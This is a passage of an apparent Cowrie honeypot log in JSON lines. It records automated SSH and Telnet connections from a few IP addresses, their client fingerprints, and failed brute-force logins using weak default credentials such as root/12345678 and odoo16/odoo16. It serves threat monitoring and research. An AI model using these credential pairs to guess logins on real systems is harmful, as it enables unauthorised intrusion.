{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:40.965114Z","src_ip":"83.168.110.85","session":"6510dbb2ac73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:41.495043Z","src_ip":"83.168.110.85","session":"6510dbb2ac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:42.635245Z","src_ip":"83.168.110.85","session":"6510dbb2ac73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58646,"dst_ip":"10.17.0.5","dst_port":22,"session":"3521033f6aba","protocol":"ssh","message":"New connection: 83.168.110.85:58646 (10.17.0.5:22) [session: 3521033f6aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:48.073065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:48.078530Z","src_ip":"83.168.110.85","session":"3521033f6aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:48.210831Z","src_ip":"83.168.110.85","session":"3521033f6aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:48.577077Z","src_ip":"83.168.110.85","session":"3521033f6aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:49.919120Z","src_ip":"83.168.110.85","session":"3521033f6aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"f09ffd0621ec","protocol":"telnet","message":"New connection: 152.42.224.71:57380 (10.17.0.5:23) [session: f09ffd0621ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:51.170867Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34024,"dst_ip":"10.17.0.5","dst_port":22,"session":"4314ba34f234","protocol":"ssh","message":"New connection: 89.223.69.22:34024 (10.17.0.5:22) [session: 4314ba34f234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:54.348080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:54.353086Z","src_ip":"89.223.69.22","session":"4314ba34f234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:54.471590Z","src_ip":"89.223.69.22","session":"4314ba34f234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf","message":"login attempt [root/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:54.829584Z","src_ip":"89.223.69.22","session":"4314ba34f234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47666,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef447829a246","protocol":"ssh","message":"New connection: 83.168.110.85:47666 (10.17.0.5:22) [session: ef447829a246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:54.997114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:55.009989Z","src_ip":"83.168.110.85","session":"ef447829a246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:55.132713Z","src_ip":"83.168.110.85","session":"ef447829a246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:55.500939Z","src_ip":"83.168.110.85","session":"ef447829a246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:55.953003Z","src_ip":"89.223.69.22","session":"4314ba34f234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:28:56.626014Z","src_ip":"83.168.110.85","session":"ef447829a246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c9630be4a88","protocol":"ssh","message":"New connection: 83.168.110.85:47676 (10.17.0.5:22) [session: 5c9630be4a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:01.744488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:01.923836Z","src_ip":"83.168.110.85","session":"5c9630be4a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:01.928193Z","src_ip":"83.168.110.85","session":"5c9630be4a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:02.753012Z","src_ip":"83.168.110.85","session":"5c9630be4a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:03.957213Z","src_ip":"83.168.110.85","session":"5c9630be4a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48444,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a180dda9b6","protocol":"ssh","message":"New connection: 83.168.110.85:48444 (10.17.0.5:22) [session: 22a180dda9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:09.000402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:09.011685Z","src_ip":"83.168.110.85","session":"22a180dda9b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:09.133070Z","src_ip":"83.168.110.85","session":"22a180dda9b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:09.497573Z","src_ip":"83.168.110.85","session":"22a180dda9b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:10.785492Z","src_ip":"83.168.110.85","session":"22a180dda9b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ef0b1d51ba","protocol":"ssh","message":"New connection: 83.168.110.85:47278 (10.17.0.5:22) [session: b4ef0b1d51ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:15.971441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:15.977553Z","src_ip":"83.168.110.85","session":"b4ef0b1d51ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:16.102509Z","src_ip":"83.168.110.85","session":"b4ef0b1d51ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:16.477529Z","src_ip":"83.168.110.85","session":"b4ef0b1d51ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:17.602354Z","src_ip":"83.168.110.85","session":"b4ef0b1d51ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47286,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ca1caeaa60","protocol":"ssh","message":"New connection: 83.168.110.85:47286 (10.17.0.5:22) [session: 78ca1caeaa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:22.761483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:22.872867Z","src_ip":"83.168.110.85","session":"78ca1caeaa60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:23.094565Z","src_ip":"83.168.110.85","session":"78ca1caeaa60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:23.497836Z","src_ip":"83.168.110.85","session":"78ca1caeaa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:24.734709Z","src_ip":"83.168.110.85","session":"78ca1caeaa60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48474,"dst_ip":"10.17.0.5","dst_port":22,"session":"322e137ab8bb","protocol":"ssh","message":"New connection: 83.168.110.85:48474 (10.17.0.5:22) [session: 322e137ab8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:29.844117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:29:29.849547Z","src_ip":"83.168.110.85","session":"322e137ab8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["a